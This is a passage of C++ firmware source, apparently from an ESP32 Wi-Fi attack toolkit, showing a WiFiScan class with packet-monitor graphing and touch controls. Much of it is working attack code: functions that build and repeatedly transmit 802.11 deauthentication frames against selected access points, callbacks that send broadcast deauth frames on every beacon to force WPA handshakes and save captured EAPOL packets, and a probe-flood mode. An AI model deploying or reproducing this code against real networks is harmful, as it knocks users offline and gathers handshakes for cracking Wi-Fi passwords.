  1994. deauth_frame_default[10] = bssid[0];
  1995. deauth_frame_default[11] = bssid[1];
  1996. deauth_frame_default[12] = bssid[2];
  1997. deauth_frame_default[13] = bssid[3];
  1998. deauth_frame_default[14] = bssid[4];
  1999. deauth_frame_default[15] = bssid[5];
  2000. deauth_frame_default[16] = bssid[0];
  2001. deauth_frame_default[17] = bssid[1];
  2002. deauth_frame_default[18] = bssid[2];
  2003. deauth_frame_default[19] = bssid[3];
  2004. deauth_frame_default[20] = bssid[4];
  2005. deauth_frame_default[21] = bssid[5];
  2006. // Send packet
  2007. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2008. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2009. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2010. packets_sent = packets_sent + 3;
  2011. }
  2012. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  2013. // Itterate through all access points in list
  2014. for (int i = 0; i < access_points->size(); i++) {
  2015. // Check if active
  2016. if (access_points->get(i).selected) {
  2017. this->set_channel = access_points->get(i).channel;
  2018. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2019. delay(1);
  2020. // Build packet
  2021. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2022. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2023. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2024. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2025. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2026. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2027. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2028. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2029. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2030. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2031. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2032. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2033. // Send packet
  2034. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2035. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2036. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2037. packets_sent = packets_sent + 3;
  2038. }
  2039. }
  2040. }
  2041. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2042. {
  2043. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2044. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2045. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2046. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2047. int len = snifferPacket->rx_ctrl.sig_len;
  2048. String display_string = "";
  2049. #ifdef HAS_SCREEN
  2050. int buff = display_obj.display_buffer->size();
  2051. #else
  2052. int buff = 0;
  2053. #endif
  2054. if (type == WIFI_PKT_MGMT)
  2055. {
  2056. len -= 4;
  2057. int fctl = ntohs(frameControl->fctl);
  2058. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2059. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2060. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2061. #ifndef MARAUDER_MINI
  2062. if (snifferPacket->payload[0] == 0x80)
  2063. {
  2064. num_beacon++;
  2065. }
  2066. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2067. {
  2068. num_deauth++;
  2069. }
  2070. else if (snifferPacket->payload[0] == 0x40)
  2071. {
  2072. num_probe++;
  2073. }
  2074. #endif
  2075. char addr[] = "00:00:00:00:00:00";
  2076. getMAC(addr, snifferPacket->payload, 10);
  2077. display_string.concat(addr);
  2078. int temp_len = display_string.length();
  2079. #ifdef HAS_SCREEN
  2080. for (int i = 0; i < 40 - temp_len; i++)
  2081. {
  2082. display_string.concat(" ");
  2083. }
  2084. //Serial.print(" ");
  2085. #ifdef MARAUDER_MINI
  2086. if (display_obj.display_buffer->size() == 0)
  2087. {
  2088. display_obj.loading = true;
  2089. display_obj.display_buffer->add(display_string);
  2090. display_obj.loading = false;
  2091. }
  2092. #endif
  2093. #endif
  2094. if (save_packet)
  2095. sd_obj.addPacket(snifferPacket->payload, len);
  2096. }
  2097. }
  2098. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2099. {
  2100. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2101. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2102. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2103. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2104. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2105. int len = snifferPacket->rx_ctrl.sig_len;
  2106. String display_string = "";
  2107. if (type == WIFI_PKT_MGMT)
  2108. {
  2109. len -= 4;
  2110. int fctl = ntohs(frameControl->fctl);
  2111. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2112. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2113. }
  2114. #ifdef HAS_SCREEN
  2115. int buff = display_obj.display_buffer->size();
  2116. #else
  2117. int buff = 0;
  2118. #endif
  2119. // Found beacon frame. Decide whether to deauth
  2120. if (send_deauth) {
  2121. if (snifferPacket->payload[0] == 0x80) {
  2122. // Build packet
  2123. uint8_t new_packet[26] = {
  2124. 0xc0, 0x00, 0x3a, 0x01,
  2125. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2126. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2127. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2128. 0xf0, 0xff, 0x02, 0x00
  2129. };
  2130. new_packet[10] = snifferPacket->payload[10];
  2131. new_packet[11] = snifferPacket->payload[11];
  2132. new_packet[12] = snifferPacket->payload[12];
  2133. new_packet[13] = snifferPacket->payload[13];
  2134. new_packet[14] = snifferPacket->payload[14];
  2135. new_packet[15] = snifferPacket->payload[15];
  2136. new_packet[16] = snifferPacket->payload[10];
  2137. new_packet[17] = snifferPacket->payload[11];
  2138. new_packet[18] = snifferPacket->payload[12];
  2139. new_packet[19] = snifferPacket->payload[13];
  2140. new_packet[20] = snifferPacket->payload[14];
  2141. new_packet[21] = snifferPacket->payload[15];
  2142. // Send packet
  2143. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2144. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2145. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2146. delay(1);
  2147. }
  2148. }
  2149. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2150. num_eapol++;
  2151. Serial.println("Received EAPOL:");
  2152. char addr[] = "00:00:00:00:00:00";
  2153. getMAC(addr, snifferPacket->payload, 10);
  2154. display_string.concat(addr);
  2155. int temp_len = display_string.length();
  2156. #ifdef HAS_SCREEN
  2157. for (int i = 0; i < 40 - temp_len; i++)
  2158. {
  2159. display_string.concat(" ");
  2160. }
  2161. Serial.print(" ");
  2162. #ifdef MARAUDER_MINI
  2163. if (display_obj.display_buffer->size() == 0)
  2164. {
  2165. display_obj.loading = true;
  2166. display_obj.display_buffer->add(display_string);
  2167. display_obj.loading = false;
  2168. }
  2169. #endif
  2170. #endif
  2171. // for (int i = 0; i < len; i++) {
  2172. // char hexCar[4];
  2173. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2174. // Serial.print(hexCar);
  2175. //Serial.print(snifferPacket->payload[i], HEX);
  2176. // if ((i + 1) % 16 == 0)
  2177. // Serial.print("\n");
  2178. // else
  2179. // Serial.print(" ");
  2180. // }
  2181. // Serial.print("\n");
  2182. }
  2183. if (save_packet)
  2184. sd_obj.addPacket(snifferPacket->payload, len);
  2185. }
  2186. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2187. {
  2188. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2189. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2190. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2191. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2192. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2193. int len = snifferPacket->rx_ctrl.sig_len;
  2194. if (type == WIFI_PKT_MGMT)
  2195. {
  2196. len -= 4;
  2197. int fctl = ntohs(frameControl->fctl);
  2198. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2199. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2200. }
  2201. // Found beacon frame. Decide whether to deauth
  2202. if (snifferPacket->payload[0] == 0x80) {
  2203. // Build packet
  2204. //Serial.println("Recieved beacon frame");
  2205. uint8_t new_packet[26] = {
  2206. 0xc0, 0x00, 0x3a, 0x01,
  2207. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2208. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2209. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2210. 0xf0, 0xff, 0x02, 0x00
  2211. };
  2212. new_packet[10] = snifferPacket->payload[10];
  2213. new_packet[11] = snifferPacket->payload[11];
  2214. new_packet[12] = snifferPacket->payload[12];
  2215. new_packet[13] = snifferPacket->payload[13];
  2216. new_packet[14] = snifferPacket->payload[14];
  2217. new_packet[15] = snifferPacket->payload[15];
  2218. new_packet[16] = snifferPacket->payload[10];
  2219. new_packet[17] = snifferPacket->payload[11];
  2220. new_packet[18] = snifferPacket->payload[12];
  2221. new_packet[19] = snifferPacket->payload[13];
  2222. new_packet[20] = snifferPacket->payload[14];
  2223. new_packet[21] = snifferPacket->payload[15];
  2224. // Send packet
  2225. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2226. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2227. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2228. delay(1);
  2229. }
  2230. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2231. num_eapol++;
  2232. Serial.println("Received EAPOL:");
  2233. // for (int i = 0; i < len; i++) {
  2234. // char hexCar[3];
  2235. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2236. // Serial.print(hexCar);
  2237. //Serial.print(snifferPacket->payload[i], HEX);
  2238. // if ((i + 1) % 16 == 0)
  2239. // Serial.print("\n");
  2240. // else
  2241. // Serial.print(" ");
  2242. // }
  2243. // Serial.print("\n");
  2244. }
  2245. if (save_packet)
  2246. sd_obj.addPacket(snifferPacket->payload, len);
  2247. }
  2248. #ifdef HAS_SCREEN
  2249. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2250. {
  2251. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2252. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2253. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2254. {
  2255. currentTime = millis();
  2256. do_break = false;
  2257. y_pos_x = 0;
  2258. y_pos_y = 0;
  2259. y_pos_z = 0;
  2260. boolean pressed = false;
  2261. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2262. // Do the touch stuff
  2263. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2264. if (pressed) {
  2265. Serial.print("Got touch | X: ");
  2266. Serial.print(t_x);
  2267. Serial.print(" Y: ");
  2268. Serial.println(t_y);
  2269. }
  2270. // Check buttons for presses
  2271. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2272. {
  2273. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2274. {
  2275. display_obj.key[b].press(true);
  2276. } else {
  2277. display_obj.key[b].press(false);
  2278. }
  2279. }
  2280. // Which buttons pressed
  2281. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2282. {
  2283. if (display_obj.key[b].justPressed())
  2284. {
  2285. Serial.println("Bro, key pressed");
  2286. //do_break = true;
  2287. }
  2288. if (display_obj.key[b].justReleased())
  2289. {
  2290. do_break = true;
  2291. // Channel - button pressed
  2292. if (b == 4) {
  2293. if (set_channel > 1) {
  2294. Serial.println("Shit channel down");
  2295. set_channel--;
  2296. delay(70);
  2297. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2298. //display_obj.tftDrawXScaleButtons(x_scale);
  2299. //display_obj.tftDrawYScaleButtons(y_scale);
  2300. display_obj.tftDrawChannelScaleButtons(set_channel);
  2301. display_obj.tftDrawExitScaleButtons();
  2302. changeChannel();
  2303. break;
  2304. }
  2305. }
  2306. // Channel + button pressed
  2307. else if (b == 5) {
  2308. if (set_channel < MAX_CHANNEL) {
  2309. Serial.println("Shit channel up");
  2310. set_channel++;
  2311. delay(70);
  2312. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2313. //display_obj.tftDrawXScaleButtons(x_scale);
  2314. //display_obj.tftDrawYScaleButtons(y_scale);
  2315. display_obj.tftDrawChannelScaleButtons(set_channel);
  2316. display_obj.tftDrawExitScaleButtons();
  2317. changeChannel();
  2318. break;
  2319. }
  2320. }
  2321. else if (b == 6) {
  2322. Serial.println("Exiting packet monitor...");
  2323. this->StartScan(WIFI_SCAN_OFF);
  2324. //display_obj.tft.init();
  2325. this->orient_display = true;
  2326. return;
  2327. }
  2328. }
  2329. }
  2330. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2331. //Serial.println("-----------------------------------------");
  2332. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2333. x_pos += x_scale;
  2334. initTime = millis();
  2335. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2336. if (y_pos_x >= HEIGHT_1) {
  2337. Serial.println("Max EAPOL number reached. Adjusting...");
  2338. num_eapol = 0;
  2339. }
  2340. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2341. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2342. //Serial.println("num_beacon: " + (String)num_beacon);
  2343. //Serial.println("num_deauth: " + (String)num_deauth);
  2344. //Serial.println(" num_probe: " + (String)num_probe);
  2345. //num_beacon = 0;
  2346. //num_probe = 0;
  2347. //num_deauth = 0;
  2348. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2349. //Plot "X" value
  2350. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2351. //Plot "Z" value
  2352. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2353. //Plot "Y" value
  2354. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2355. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2356. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2357. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2358. {
  2359. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2360. }
  2361. else
  2362. {
  2363. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2364. }
  2365. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2366. //if (x_pos <= 90)
  2367. if (x_pos < 0) // below x axis
  2368. {
  2369. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2370. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2371. }
  2372. else
  2373. {
  2374. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2375. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2376. }
  2377. //tftDisplayTime();
  2378. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2379. {
  2380. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2381. }
  2382. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2383. //y_pos_y_old = y_pos_y;
  2384. //y_pos_z_old = y_pos_z;
  2385. //delay(50);
  2386. }
  2387. sd_obj.main();
  2388. }
  2389. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2390. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2391. display_obj.tftDrawChannelScaleButtons(set_channel);
  2392. display_obj.tftDrawExitScaleButtons();
  2393. display_obj.tftDrawEapolColorKey();
  2394. display_obj.tftDrawGraphObjects(x_scale);
  2395. }
  2396. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2397. {
  2398. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2399. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2400. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2401. {
  2402. currentTime = millis();
  2403. do_break = false;
  2404. y_pos_x = 0;
  2405. y_pos_y = 0;
  2406. y_pos_z = 0;
  2407. boolean pressed = false;
  2408. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2409. // Do the touch stuff
  2410. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2411. if (pressed) {
  2412. Serial.print("Got touch | X: ");
  2413. Serial.print(t_x);
  2414. Serial.print(" Y: ");
  2415. Serial.println(t_y);
  2416. }
  2417. // Check buttons for presses
  2418. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2419. {
  2420. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2421. {
  2422. display_obj.key[b].press(true);
  2423. } else {
  2424. display_obj.key[b].press(false);
  2425. }
  2426. }
  2427. // Which buttons pressed
  2428. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2429. {
  2430. if (display_obj.key[b].justPressed())
  2431. {
  2432. Serial.println("Bro, key pressed");
  2433. //do_break = true;
  2434. }
  2435. if (display_obj.key[b].justReleased())
  2436. {
  2437. do_break = true;
  2438. // X - button pressed
  2439. if (b == 0) {
  2440. if (x_scale > 1) {
  2441. x_scale--;
  2442. delay(70);
  2443. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2444. display_obj.tftDrawXScaleButtons(x_scale);
  2445. display_obj.tftDrawYScaleButtons(y_scale);
  2446. display_obj.tftDrawChannelScaleButtons(set_channel);
  2447. display_obj.tftDrawExitScaleButtons();
  2448. break;
  2449. }
  2450. }
  2451. // X + button pressed
  2452. else if (b == 1) {
  2453. if (x_scale < 6) {
  2454. x_scale++;
  2455. delay(70);
  2456. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2457. display_obj.tftDrawXScaleButtons(x_scale);
  2458. display_obj.tftDrawYScaleButtons(y_scale);
  2459. display_obj.tftDrawChannelScaleButtons(set_channel);
  2460. display_obj.tftDrawExitScaleButtons();
  2461. break;
  2462. }
  2463. }
  2464. // Y - button pressed
  2465. else if (b == 2) {
  2466. if (y_scale > 1) {
  2467. y_scale--;
  2468. delay(70);
  2469. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2470. display_obj.tftDrawXScaleButtons(x_scale);
  2471. display_obj.tftDrawYScaleButtons(y_scale);
  2472. display_obj.tftDrawChannelScaleButtons(set_channel);
  2473. display_obj.tftDrawExitScaleButtons();
  2474. //updateMidway();
  2475. break;
  2476. }
  2477. }
  2478. // Y + button pressed
  2479. else if (b == 3) {
  2480. if (y_scale < 9) {
  2481. y_scale++;
  2482. delay(70);
  2483. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2484. display_obj.tftDrawXScaleButtons(x_scale);
  2485. display_obj.tftDrawYScaleButtons(y_scale);
  2486. display_obj.tftDrawChannelScaleButtons(set_channel);
  2487. display_obj.tftDrawExitScaleButtons();
  2488. //updateMidway();
  2489. break;
  2490. }
  2491. }
  2492. // Channel - button pressed
  2493. else if (b == 4) {
  2494. if (set_channel > 1) {
  2495. Serial.println("Shit channel down");
  2496. set_channel--;
  2497. delay(70);
  2498. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2499. display_obj.tftDrawXScaleButtons(x_scale);
  2500. display_obj.tftDrawYScaleButtons(y_scale);
  2501. display_obj.tftDrawChannelScaleButtons(set_channel);
  2502. display_obj.tftDrawExitScaleButtons();
  2503. changeChannel();
  2504. break;
  2505. }
  2506. }
  2507. // Channel + button pressed
  2508. else if (b == 5) {
  2509. if (set_channel < MAX_CHANNEL) {
  2510. Serial.println("Shit channel up");
  2511. set_channel++;
  2512. delay(70);
  2513. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2514. display_obj.tftDrawXScaleButtons(x_scale);
  2515. display_obj.tftDrawYScaleButtons(y_scale);
  2516. display_obj.tftDrawChannelScaleButtons(set_channel);
  2517. display_obj.tftDrawExitScaleButtons();
  2518. changeChannel();
  2519. break;
  2520. }
  2521. }
  2522. else if (b == 6) {
  2523. Serial.println("Exiting packet monitor...");
  2524. this->StartScan(WIFI_SCAN_OFF);
  2525. //display_obj.tft.init();
  2526. this->orient_display = true;
  2527. return;
  2528. }
  2529. }
  2530. }
  2531. if (currentTime - initTime >= GRAPH_REFRESH) {
  2532. //Serial.println("-----------------------------------------");
  2533. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2534. x_pos += x_scale;
  2535. initTime = millis();
  2536. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2537. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2538. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2539. //Serial.println("num_beacon: " + (String)num_beacon);
  2540. //Serial.println("num_deauth: " + (String)num_deauth);
  2541. //Serial.println(" num_probe: " + (String)num_probe);
  2542. num_beacon = 0;
  2543. num_probe = 0;
  2544. num_deauth = 0;
  2545. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2546. //Plot "X" value
  2547. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2548. //Plot "Z" value
  2549. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2550. //Plot "Y" value
  2551. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2552. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2553. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2554. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2555. {
  2556. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2557. }
  2558. else
  2559. {
  2560. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2561. }
  2562. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2563. //if (x_pos <= 90)
  2564. if (x_pos < 0) // below x axis
  2565. {
  2566. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2567. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2568. }
  2569. else
  2570. {
  2571. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2572. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2573. }
  2574. //tftDisplayTime();
  2575. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2576. {
  2577. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2578. }
  2579. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2580. y_pos_y_old = y_pos_y;
  2581. y_pos_z_old = y_pos_z;
  2582. //delay(50);
  2583. }
  2584. sd_obj.main();
  2585. }
  2586. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2587. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2588. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2589. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2590. display_obj.tftDrawYScaleButtons(y_scale);
  2591. display_obj.tftDrawChannelScaleButtons(set_channel);
  2592. display_obj.tftDrawExitScaleButtons();
  2593. display_obj.tftDrawColorKey();
  2594. display_obj.tftDrawGraphObjects(x_scale);
  2595. }
  2596. #endif
  2597. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2598. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2599. // showMetadata(snifferPacket, type);
  2600. //}
  2601. void WiFiScan::changeChannel(int chan) {
  2602. this->set_channel = chan;
  2603. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2604. delay(1);
  2605. }
  2606. void WiFiScan::changeChannel()
  2607. {
  2608. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2609. delay(1);
  2610. }
  2611. // Function to cycle to the next channel
  2612. void WiFiScan::channelHop()
  2613. {
  2614. this->set_channel = this->set_channel + 1;
  2615. if (this->set_channel > 13) {
  2616. this->set_channel = 1;
  2617. }
  2618. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2619. delay(1);
  2620. }
  2621. char* WiFiScan::stringToChar(String string) {
  2622. char buf[string.length() + 1] = {};
  2623. string.toCharArray(buf, string.length() + 1);
  2624. return buf;
  2625. }
  2626. // Function for updating scan status
  2627. void WiFiScan::main(uint32_t currentTime)
  2628. {
  2629. // WiFi operations
  2630. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2631. (currentScanMode == WIFI_SCAN_AP) ||
  2632. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2633. (currentScanMode == WIFI_SCAN_PWN) ||
  2634. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2635. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2636. (currentScanMode == WIFI_SCAN_ALL))
  2637. {
  2638. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2639. {
  2640. initTime = millis();
  2641. channelHop();
  2642. }
  2643. }
  2644. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2645. {
  2646. #ifdef HAS_SCREEN
  2647. #ifndef MARAUDER_MINI
  2648. packetMonitorMain(currentTime);
  2649. #endif
  2650. #endif
  2651. }
  2652. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2653. {
  2654. #ifdef HAS_SCREEN
  2655. #ifndef MARAUDER_MINI
  2656. eapolMonitorMain(currentTime);
  2657. #endif
  2658. #endif
  2659. }
  2660. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2661. {
  2662. #ifdef HAS_SCREEN
  2663. eapolMonitorMain(currentTime);
  2664. #endif
  2665. }
  2666. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2667. for (int i = 0; i < 55; i++)
  2668. this->sendProbeAttack(currentTime);
  2669. if (currentTime - initTime >= 1000) {
  2670. initTime = millis();
  2671. String displayString = "";
  2672. String displayString2 = "";
  2673. displayString.concat(text18);
  2674. displayString.concat(packets_sent);
  2675. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2676. displayString2.concat(" ");
  2677. #ifdef HAS_SCREEN
  2678. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2679. display_obj.showCenterText(displayString2, 160);
  2680. display_obj.showCenterText(displayString, 160);
  2681. #endif
  2682. packets_sent = 0;
  2683. }
  2684. }
  2685. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2686. for (int i = 0; i < 55; i++)
  2687. this->sendDeauthAttack(currentTime);
  2688. if (currentTime - initTime >= 1000) {
  2689. initTime = millis();
  2690. String displayString = "";
  2691. String displayString2 = "";
  2692. displayString.concat(text18);
  2693. displayString.concat(packets_sent);
  2694. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
